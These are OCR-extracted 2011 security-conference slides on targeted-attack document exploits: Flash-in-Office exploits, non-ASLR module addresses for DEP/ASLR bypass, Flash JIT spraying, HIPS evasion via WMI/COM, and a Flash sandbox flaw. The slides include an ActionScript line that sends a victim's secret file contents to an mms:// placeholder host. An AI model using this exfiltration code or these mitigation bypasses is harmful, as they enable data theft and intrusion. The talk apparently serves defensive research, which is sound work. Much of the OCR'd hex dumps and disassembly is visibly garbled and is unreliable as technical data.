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We are also members of CHROOT Security Group.



CHROOT holds the largest technical
security conference in Taiwan.

Hacks in Taiwan (HITCon)

| 120

Hacks in Taiwan Cor crance

http://www.hitcon.org/



Ming-chieh Pan (a.k.a Nanika)

Senior vulnerability
researcher in Net-
Hack Inc.

Research on

« Vulnerability research
« Exploit techniques

« Malware detection

« Mobile security

Windows platform

Malicious document
techniques

 Disclosed

CVE-2006-3431 (Excel)

CVE-2006-5296
(PowerPoint)

 Talks and Speeches

Syscan
Singapore/Taipei/Hong
Kong 08/10

Hacks in Taiwan
05/06/07/09/10



Sung-ting Tsai (a.k.a TT)

Research engineer in core tech department of
Trend Micro

Current Leader of CHROOT security group
Research on

Malicious document

Malware auto-analyzing system (sandbox
technologies)

Malware detection

System vulnerability and protection
Web security

Cloud and virtualization security

Talks and speeches

Hacks in Taiwan Conference 08’
Syscan Singapore 10’



Agenda

APT and Targeted Attack
Recent document exploit techniques
Future document exploit techniques

Conclusion



ADVANCED

PERSISTENT
THREAT

APT

2011

The term APT (Advanced Persistent Threat) has become very popular in 2011.



RSA

SECURITY
RSA SecurlD Hack Shows Danger of APTs

The RSA hack compromising SecurlD tokens illustrates why

advanced persistent threats (APTs) are a growing security concern.
By Tony Bradley

Mar 18, 2011 10:10 AM
RSA revealed in an open leffer posted to its website ( O M O D 0

data was stolen which could potentially compromise

network is an example of a new breed of security the Creatin g Trust Online
going after bigger payoffs.

RSA describes the attack as an advanced persisten
commented that APTs represent a significant chang
involves patient, skilled, well-funded attackers going By John Leyden + Get more from this author

Posted in Enterprise Security, 30th March 2011 14:27 GMT

Comodo admits 2 more resellers pwned in SSL cert hack
How deep does the rabbit hole go?

Comodo has admitted a further two registration authorities tied to the digital
ceriificates firm were hit by a high-profile forged digital certificate attack earlier this
maonth.

Mo forged certificates were issued as a result of the assault on victims two and three
of the attack, but confirmation that multiple resellers in the Comodo community were
compromised is bound to renew questions about the trust model applied by the firm.

Recently, RSA and Comodo has been targeted and hacked by APT attack. And
many proof shows some sensitive information have been stolen.



30 May 2011 Last updated at
11:07 GMT

US defence firm Lockheed
Martin hit by cyber-attack

US defence firm Lockheed Martin says it
has come under a significant cyber-
attack, which took place last week.

Few details were available, but Lockheed said |
its security team had detected the threat
quickly and ensured that none of its
programmes had been compromised.

The Pentagon said it is working to establish
the extent of the breach.

L ockheed makes fighter jets, warships and
multi-billion dollar weapons systems sold
worldwide.

Lt Col April Cunningham, sEleaking for the US Lo
defence department, said the impact on the 16
Pentagon was "minimal and we don't expect

any adverse effect”

\ _

ck'heed Martin makes F-
fighter jets

Lockheed martin was hacked as well.




Targeted Attack.

Actually we are not surprised by these breach news.

We have known this kind of targeted attacks since 2004 in Taiwan.



Due to the political issue, Government units and large enterprises in Taiwan has
been targeted since many years ago. They have kept receiving purpose-made
e-mails and malwares (exploits), never stopped.



Silent Threat

Attacks whole world.

Nowadays, not only in Taiwan, this kind of silent threats are attacking whole
world, especially governments and large enterprises.



Unlike other cyber criminals, they are hacking for information, not profit.



How do they attack?

Even you have already deployed security devices, installed security
software. They could still penetrate into your corporation internal network.



- Fw: LES Request - Message

Add-Ins U ¢

o o++03830R Q-+

From: Brandy R <bran343@yahoo.com> Sent: Fri 3/25/2011 5:26 AN

Good moming,
Please find attached the LES's vou requested.
Thank vou and have a good day,

Christina Donald

Contractor, MPSC Systems Analyst ARNG Financial Services Center NGB -ARC-F
ATTN: NGB-ARC-F (Column 118D)

Finance Support Team Indianapolis

1-877-ARNGPAY (1-877-276-4729)

FAX CML 317-510-7017

Source: http://contagiodump.blogspot.com/



_J.«lmu ="

@ Message New Tab Developer

- CaR m I S Mark Unread Q%
) x (4 Reply a Lb Released | 7’1 2 % ar n.rea aﬁ @Q Q
=8 Reply All 2 To Manager v o] N | BS categorize - Dy~
v | g v =5 .

& Delete & Forward % &3 Team E-mail B M've B | ¥ Followup - Tranvslate _ | Zoom
Delete ' Respond ’ Quick Steps [ Move Tags I Editing l Zoom
From: CENTERS FOR MEDICARE & MEDICAID SERVICES <rodney.cadataa@gmail.com> Sent: Wed 9/15/2010 10:22 AM

To:
Ca
Subject Fwd: US Govemment Programs to Pay Medical Expenses
| Message ] '@Beneﬁdal medical programs.pdf (374 KB)
There are Federal and state programs available for people with Medicare who have limited ? |
- income and resources. These programs may help vou save on your health care and prescription F
i drug costs.
For More Information
Call or visit your State Medical Assistance (Medicaid) office, and ask for information on 3
Medicaid and Medicare Savings Programs. The names of these programs and how they work
may vary by state. Call if you think you qualifv for any of these programs, even if yvou aren't
sure.
Call 1-800-MEDICARE (1-800-633-4227), and say "medicaid"” to get the telephone number for
vour state. TTY users should call 1-877-486-2048. ‘
v

Source: http://contagiodump.blogspot.com/



Unfortunately, most of security software
couldn’t do protection effectively.

This is the most common way of targeted attack and not easy to be
aware of.



Document exploit is actually the
weapon of targeted attack.

Attackers use document exploit as the weapon. They spent a lot of
resource to develop these weapons.



APT and Targeted Attack

Recent document exploit techniques
Future document exploit techniques

Conclusion



Question

If you have installed all Microsoft
office patches, and there is no 0-day
vulnerability. Will it be safe to open a

word or excel document?

You know the answer is NO. Why?




Hybrid Document Exploit

(Recent Document Exploit Techniques - 1)

Because this might be a hybrid document exploit.



Hybrid Document Exploit

The design of modern document
application is complicated.

The document might embed an object of other applications. And other
applications could be vulnerable.



Hybrid Document Exploit

You would still get Owned,
after you open the document

Most of people know browser could include a lot of document objects, so
they are cautious when they open web page.

However, when they open a document in the e-mail, they would not be
aware of the danger.



Hybrid Document Exploit

The application has become an
exploit platform.



Hybrid Document Exploit

@

The flash exploit may be run on Excel and other applications. This kind of
attack is popular recently.

A flash vulnerability could be repacked as a malicious web page, a PDF exploit,
an office document exploit.



Security firm RSA attacked using Excel-Flash one-two

sucker punch
oy Sebastian Anthony on April 6, 2011 2t 06:55 AM

FILED UNDER: security, web

R —

Bl ngar o Lateral Data - .
b Rarlda : Exfiltrat
Zeroday Batkaar I movement gathering S >

E B B

RSA attack is the example.

The “Excel-Flash” is actually the flash vulnerability.
It was repacked to an Excel file.



Question

Why RSA attacker chose Excel?
Why not PDF or Web page?



DEP

(Data Execution Prevention)

Because of DEP.






Attack Incomplete Protection

(Recent Document Exploit Techniques - 2)



DEP/ASLR makes
exploit writer headache.



We found a lot of really NOT PUBLISHED DEP/ASLR bypasses method (if we can call them bypass!) with
it.

Let’s list some of them:

MODULE NAME: libdispatch.dll ~~~ MODULE BASEADDRESS: 0x10000000
It loads in most of apple products including safari, iTunes and QuickTime.

MODULE NAME: MSGR3EN.DLL ~~~ MODULE BASEADDRESS: 0x3F100000
This one load in MS Office 2010 and is one of modules | used to exploit CVE-2010-3333 in MS Office

2010.

MODULE NAME: msxml5.dll ~~~ MODULE BASEADDRESS: 0x78800000
This one is for MS Office 2007, but it needs some tricks to getting it load ;) btw it is nice module.

MODULE NAME: nspr4.dll ~~~ MODULE BASEADDRESS: 0x10000000
MODULE NAME: plc4.dll ~~~ MODULE BASEADDRESS: 0x00020000
MODULE NAME: MSVCR71.dIl ~~~ MODULE BASEADDRESS: 0x7C360000

This modules are from FF + JRE (FF modules are not any more non-aslr. And as we said there are lots of

™™ r. W\f\f‘lll'/‘\ﬁ'cf\llﬂl‘j :V‘\ M"\: AAAAA lJ VVVVV \

However, it is very difficult to do protections completely. It is not easy to adopt
protections to every single module. Here is the example.

Source: http://abysssec.com/files/The_Arashi.pdf



Advanced Memory
Attack and Defense Techniques

(Recent Document Exploit Techniques - 3)



ROP

(Return-Oriented Programming)



Flash JIT Spraying

JIT can defeat DEP protection, and spraying can defeat ASLR protection



Vendor Responses

Microsoft releases EMET
(Enhanced Mitigation Experience Toolkit)



Vendor Responses

Flash has started to
encode/encrypt AVM code area
since version 10.1

@asintsov: No JIT-SPRAY in Flash 10.1. Pages with code are
crypted )) But idea will never die, that i show on HITB in AMS)



APT and Targeted Attack

Recent document exploit techniques
Future document exploit techniques

Conclusion



 Advanced Fuzzing Techniques

» Techniques to Against Exploit
Mitigation Technologies

- Techniques to Bypass Sandbox /
Policy / Access control

« Techniques to defeat behavior
based protection and auto-
analyzing sandbox

We think the document exploit research will focus on these 4 major areas.



Advanced Fuzzing Techniques

(Future Document Exploit Techniques - 1)



Flash Fuzzing

;f.fr |

(popular activities) K

- — .
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Byte by Byte fuzzing
takes too much time.

4557 5309 TA0L1 0000 7300 0700 0000 0s5ES
Qooo 1201 0044 1105 0000 O0BF 1444 0100
Qooo o000 o000 LoD 2E00 0290 AlCE E405
Qooo oDoo 094D 6FYe 6965 45360 68350 0566
THEE 0355 4F5d 3106 4F6s 6465 6374 OF45
Te65 0EVA 4469 TIT0 6174 6368 6572 0D 44
673 VOEC 6179 4FcZ 6hoh 635374 1149 6ETL
BETE 6163 7469 Tooh 4F6s 6Ans 6374 1644
6973 VOEC 6179 4F6Z 6h6S 63574 436F cETL
6le9 cESS 7206 5370 FZ69 7465 044D 6169
GEOD 666l 6173 6582E 6469 7370 6Cel 720C
peeC 6173 68ZE 6576 656E 7473 0516 OELG
0lla OCLY Q100 0407 0la: 0704 0307 0204
a70& 0407 0305 0701 Qedy 0107 070l as07v
0109 0400 Qo000 0000 gaad o000 oo oooo
aooo 0000 0103 0101 00dz 0102 010l 0103
aool 000l 0304 0100 0400 0301 000g 2500
3064 c004 3060 0550 6006 3060 07730 6008
3060 09350 6001 24350 5300 1D1D 101D 101D
1DeD 0147 0000 0102 0208 0514 2ol “DO0L
B4zD 0144 2D01 AL:D O0LAd 5263 0162 0148
Qooo 0zZ01 0108 0505 D049 00D0 4F0z 0047
Qooo 0300 0108 0501 4700 0002 1301 0000
Q04D 6169 eEOO0 4000 0000

..... MovwieClip. £
uncx0RL. Object.E
ventDizpatcher.D
izplaylbiject. Int
eractivelbject.D
izplaylbhijectlCont
ainer.3prite.Mai
n.flazh.displasy.
flash.events....

11 R - -
O-.0-.0-.00cz.b.H
........ OoI.oo..G
........ Gewuwnans




A6 57 5505 FAOQL 0000 Fa00 ovDo oood 05ES
aooo 190l ood4d 110 oooo ooprF 1448 0100
QOO0 Coooe oo == 200 0290 4102 B0
Qooo oo o940 F 5 4560 6270 Uo66
JagE 6558 AFLE b cAnh 6374 OF45
Jeeh 6EVA 4469 TEV0 6174 6565 6572 0D 44
273 VOG0 6179 4F0s gaes 6374 1149 6E74
BaY2 6lod 7a4e9 Toolh dAFb6z ohoh 6374 1644



We found that
Action Script (AVM) part
causes the problem usually.



Focus on code area an
AVM instructions.

o- method_bodies[122] : method_body

i P o WESERE 0000 5D0L 0409 0509 7ADO D520 8009 6305 | ..0.....z00 O.c.
o~ method_bodies[124] : method_body WNEIF UM 2085 6306 5500 8009 D6D1 6647 0274 D724 | Oc.U.0.00£0. t0$
o~ method_bodies[125] : method_body L0l 0074 6304 1052 0000 09D1 6204 66D3 0480 | .tc..R...Ob.£0.0
o method_bodies[126]: memod_body 000096C0 0963 0524 0063 0762 0582 6308 1029 0000 e s CallelCsa) g

. _ E M 0962 0862 071E 8563 06D2 6206 66D3 0420 | .b.b..0c.Ob. £0.
o- method_bodies[127] - method_body NELGM 1304 0000 1011 0000 D262 06DL 6204 66D3 | vuuuwwn. Ob.Ob. £0
¢ method_bodies[128] : method_body IEIS 0 0462 0666 D304 61D3 0432 0807 11D0 FFFF | .b.£0.a0.2...0..
method : u30 (157) 00009700 gggg 0807 gggg 9174 gfgg 6204 gﬁg A7FF o .b.0tc.b.0.0.
. 00009710 4800 0106 0AB1 30D0 .0.....0.000
max_stack : u30 (4) IAITCRERl 4900 SECC 0155 0065 CCOL SEC2 0155 0068 | I.A0.U.h0.~D.U.1
local_count: u30 (9) LERENM C201 SECL 0155 0065 C101 SESE 015D 3444 | 0.40.U.hO.*0. )43
init_scope_depth : u30 (8) e 3400 638E 0160 32D0 4FBA 0301 SDAS 014F | 4.h0. “2000..]0.0
R Scae. dapllizea0 ) NEYEUM AS01 005D 9COL 602E 6698 034F 9COL 01SE | O..)0. *.£0.00.."
A NERCIM A004 D060 1BB3 68A0 04SE BES04 2768 ES04 | 0.0°.0h0. A0. 'hO.

code_length - u30 (122) NERR LM 60A0 0412 3C00 00SD 9804 600F 66B9 0460 | °O..<..]0.".£0
UGIEVENM B301 4F95 0402 SD98 0460 OF66 BAO4 6094 | 0.00..]0. . £0. O
exception_count : u30 (0) 00009790 0:_;1;‘ 9804 glz);g 9804 fgég 66BE gggg apol | .o0..30.".£0. ‘O.
. . NERI UMl 4F98 0402 0460 D404 014F | 00..70.°.£0. 0.0
SxcRpRoR  excepdon_nfol] ER: U 9804 025D ACOL 4FAC 0100 SD98 0460 0C66 | O..]0.00..]0. .f
trait_count: u30 (0) 000097C0 D504 60D0 0127 2400 264F 9804 0547 0000 | 0.°0.'$.400..6..
fraite - traite infol0! 9FN) 0101 N9NA NEDN 3060 BAN1 4800 00a0 | O......00°0.H. .0




AVM Fuzzing

255 -> 170 (instructions)

We also discovered APSB11-12
before it is disclosed.



AVM Fuzzing ‘




We accidently found the flash JIT
spraying technique could still work
during the automatic fuzzing process.



Techniques to Against
Exploit Mitigation Technologies



How do we bring
Flash JIT spraying back.



Flash JIT Spraying

 The magic IN (0xB4) instruction.

— If we replace the first XOR(AA) with IN(B4),
the AVM code area will not be encoded in

0COh:
0DOh:
0EOh:
O0FOh:
100h:
110h:
120h:
130h:
140h:
150h:
160h:

01
07
01
00
00
30
30
1D

00
00

0c
04
04
00
00
60
09
01
01
02
03

147
07
00
00
01
04
30
47

01
00

01
03
00
01
03
30
60
00
2D
01
01

00
05
00
03
04
60
01
00
01

Q

o

Q
o

memory.

0A
07
00
01
01
05
22
01
AR

o

08

07
01
00
01
00
30
30
02
2D

=]
o

01

01
06
00
00
04
60
58
02
01
DO
47

oL

02
07
00
02
00
06
00

Q
o

49
00

07
01
00
01
03
30
1D

Q

o

[=]
o

00
00

1o

04
07
00
02
01
60
1D
14
63
DO
09

03
07
00
01
00
07
1D
2D
01
4F
13

40

07
01
00
01

Q
o

30
1D
01
62
02
01

vbo

02

=]
o

00
01
25
60
1D
2D
01
00
00

C)»b»bOF—‘OUOOO.C)I
- I R e Y

JOUIl.

« Memory: RW becomes

01
07
01
00
00
30
30
1D

00
00

RE

16
02
09
00
01
64
60
6D

00
00

AT

0c
04
04
00
00
60
09
01
01
02
03

17
07
00
00
01
04
30
47

01
00

~QC

01
03
00
01
03
30
60
00
2D
01
01

oo

00
05
00
03
04
60
01
00
01

Q

=}

o
o

0a
07
00
01
01
05
2A

EO
=

> O Co

> O O

07
01
00
01
00
30
30
02
2D

=)
o

01

01
06
00
00
04
60

Q
o

02
01
DO
47

oL

02
07
00
02
00
06
00

=
=}

AA
49

00

07
01
00
01
03
30
iD

=]

o

Q
o

00
00

1o

04
07
00
02
01
60
iD
14
63
DO
09

03
07
00
01
00
07
iD
2D
01
4F
s

40

07
01
00
01
08
30
iD
01
62
02
01

VDo

02

Q
o

00
01
25
60
iD
2D
01
00
00

0z
07
00
03
DC
08
10
01
47
00



Magic Number - IN

Determine whether an object has a
named property.

Format

— 1N

Forms

—in = 180 (0xb4)
Stack

— ..., hame, obj => ..., result






Continuity of sprayed area?

L Vi
. _ Bad continuity
load %‘ m} in new version
—_i R of Flash
} " SWF|IS
v

(Memory)




We use a big file to spray memory instead.

_SWF_ &

(Memory)



This picture shows how do we make the spraying file.

We make a lot of method_body in a flash file directly. As you can see, the right
hand side is the flash file. It contains a lot of method_body. And each
method_body include a lot of XOR instructions.

This approach has much better result. In our testing, we have around 10000
method_body in a flash file and each method_body (function) includes 2048 XOR
instructions.



File size?

This technique produces a huge file (58.7MB). Zlib
could help us to solve the problem. After compression,
the sample file size is 268k bytes.

The tool is sprayed. ©



Instead of XOR, use OR.



Instead of '35 90 90 90 3C,
the content in memory will be ‘0D 0D 0D 0D 0OC".

EA0ACSFD
EA0BCIFE
EA0ACIFF
EA0ACAEE

EAOACAES
EA0BCAES
EAOBCAEY
EA0BC4ER
EA0ACAEE
EA0ACAED
EAOBC4 ]2

L MOP

L] MOP

L MOP

SBA1 MO EA&, DWORD PTR O5: [ECH]
MOL EDR, DWORD PTR D5: [ERx+7AE]

FFOZ2 CALL ED=

SB48 BC MO EA&, DWORD PTR O5: [ERX+C]

3 RETH

23CH w0R ERA, ERK

~E3 FTAEFFFF

L

JMP mshtml. GAOEYIET
MOP

.-.I Registers (FPU)

ERx BCACACAC
ECH B4FEERES
EDy BEEEEEEE
EE: BEZCECES
ESF B2B4E1FC
EEF B2B4E-14
ES] B2B4E-28
EO0] BEEHEHEE

j EIF GRDBC4B2 mehtml, GADBCARZ

This technique makes it easier to jump into our
sprayed area when trigger a vulnerability.



Address |[Hex dumc | ASCII

WC A0 a0 Al @b ac 80 B0 .. e e e
A0 a0 a2 a0 @0 B0 B0 BC| .o e e s e
B0 A0 a0 ah ac @l 80 B0 .. e e e
WO AC @0 ahb ab 6l ac B0 e e e us
B0 A0 a0 ac a0 @l 80 B0 .. e e
WC A0 @0 ah ab ac 80 B0 e e e us
B0 A0 ac @b ah ab 80 BC| ... e e
WO A0 @b ahb ac 6l 80 B0 e e e
B0 AC a0 ah ab ab ac 80| .. e e e
WO a0 @b ac ab ab a0 B0 .. e e
AC B0 a0 ah 80 ac 80 B0 e e e ns
WO A0 ac ahb ab 6 80 BC| .. e
B0 A0 a0 ah ac Al 80 B0 e e s ens
B0 AC @0 a0 a0 6l ac B0 .. e e as
B0 A0 a0 ac ab 6l a0 B0 e e e as




(XOR Spraying)
35 90 90 90\ 3C 359090 90 3C

Call 3590 90 90

OD OD OD 0D O0C OD OD 0D 0D 0C
(OR Spraying)



(XOR Spraying)

3590 90 90 3C 35 90 90 90 3C

0D

Call 0D OD OD OC

0D 0D OD OC|0OD OD 0D 0D 0C

(OR Spraying)



Flash JIT Spraying

« It works everywhere.

Protection New JIT Spraying with
Flash Player
10.3.181.34
(Released 6/28/2011)

Office2000 ~Office 2010 works

(DEP AlwaysOn, ASLR)

Internet Explorer works

(DEP AlwaysOn, ASLR)

Adobe PDF works

(DEP AlwaysOn, ASLR)

EMET v2.1 works

(Enabled all functions)







Techniques to Bypass Sandbox /
Policy / Access control



Vendors have
started to adopt

Sandbox
technologies to
their applications.

The sandbox usually has complicated policy and permission control to isolate
access to each resource.



Incomplete protections.

Logic design flaws.

It is complicated, so the protection might have these two problems.



Flash Sandbox Problem

 There are 4 types of properties in Flash
Security.SandboxType:

— Security.REMOTE
— Security.LOCAL_WITH_FILE
— Security.LOCAL_WITH_NETWORK

— Security.LOCAL_TRUSTED

The basic idea of default setting is if you can access network, you can’t access
local resource, vice versa.



The flaw is in its ‘url protocol” design.



We embed a Flash object in an Office document.



Internet

A

X

This flash object is allowed to
access local files, and not
allowed to access internet.




mms://

However there is a problem when handling the ‘mms’ protocol.



Internet

Using this flaw, we could retrieve user information, and
use mms protocol to send information to internet.




Flash Sandbox Proble

 We might steal user’s cookie, user’s saved
password, etc.

« We could use this technique to probe user
environment.

var uname = "mms://x.x.x.x:1755/"+secret.contents+".asx";
var req = new URLRequest(uname);

navigateToURL(req,"_blank");







1

Ins

cookiexls [Compatibility Mode] - Microsoft Excel

E Windows Internet Explorer

o B E—
(SAT) e B]I‘_f”il | 0 search...
sinter {}-Favnrites |gc::nnecting... |_| ﬁ * Ei [ @ * Page -~ Safety = Toals - lﬁlv -

s

Internet Explorer

X

Do you want to allow this webszite to open a program on
E’ your computer?

Frogram: ‘Windows Media Player

Addrezs: mms: 192, 168,108, 1:1755/L5I0Dmail| s, T DOAAS [i]
IoaasEAGH_eobiaCh3FbggMS2FpFHH cbnCigUIFk. [L]

Always ask before opening this lwpe of address

Al ] [ Cancel

]

- Allowing web content to open a program can be uzeful, but it can
potentially harm pour computer. Do not allow it unless you bust
the zource of the content. 'A/hat's the nzk?

-

Cells

¥ Insert Delete Forma

-

/'Sheet2 “Sheet3 ¥
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Techniques to defeat behavior based
protection and auto-analyzing
sandbox

In case of exploit is launched, traditional signature based malware protection is
useless, because the exploit or malware is usually '‘customized'. Users can only rely
on behavior based protection.

Therefore defeating Host IPS will become exploit writer's next major task.



Bypass Inline Hook



Bypass Inline Hook

« Many HIPS use inline hook to intercept API and
monitor behaviors.

« Most of them are using Microsoft Detour library
or Detour-like approach.

« Bypassing this kind of API hooking, we may just
skip a few beginning bytes.



Bypass Inline Hook

___________________________

. API is hooked by
| Detours '
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WMI and COM



Who — Process

The HIPS usually does hook to observe malicious behaviors
(No matter in ring0 or ring3).

Once it detects a suspicious behavior, for example, if a file is dropping to your
system folder, a sensitive registry key is being modified, the Host IPS would
check ‘who’ is doing this by identifying the process.



Try to imagine ...

If legitimate processes could do things for
us, the HIPS would become useless.

Host IPS can not block or kill system processes



WMI Architecture

..........................................

Native C/C++ —“r&—

NET C¥ VB NET and so on

We noticed that Microsoft has already provided complete solutions - the WMI
and many useful COM objects.
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record nothing









APT and Targeted Attack

Recent document exploit techniques
Future document exploit techniques

Conclusion



Conclusion

« Techniques:
— How to find vulnerabilities: AVM fuzzing technique.

— How to defeat exploit mitigation technologies: new Flash
JIT spraying.

— How to make an exploit without memory hard work:
attack policy flaw.

— How to defeat desktop protection and analyzing system:
WMI and COM
 We believe attackers are working hard on these
topics. We wish security vendors could address
these problems to come out solutions ahead of
attackers.




Probe victim's
environment
and collect
information.
(embed swf in
office)

Use New JIT
techniques
with browser,
PDF, Office

vulnerabilities.

Future APT
attack?

Use COM
technique to
bypass HIPS




Cat and Mouse Game

If we could be ahead of attackers by
guessing their next tricks, we might
have better protections for people.




Proof of Concept

File ________|Description

B4/owhy.swf
B4/why.swf
ms11_050/

msl11 _050/qgload.swf

notepad.cpp

JIT Spraying (Original XOR)
JIT Spraying (Use B4)

MS11-050 exploit with new
JIT spraying

New Flash JIT Spraying
sample

Shellcode for launch
notepad using WMI.




Thanks!

http://exploitspace.blogspot.com/

Ming-chieh Pan <naninb@gmail.com>
Sung-ting Tsai  <ttsecurity@gmail.com>



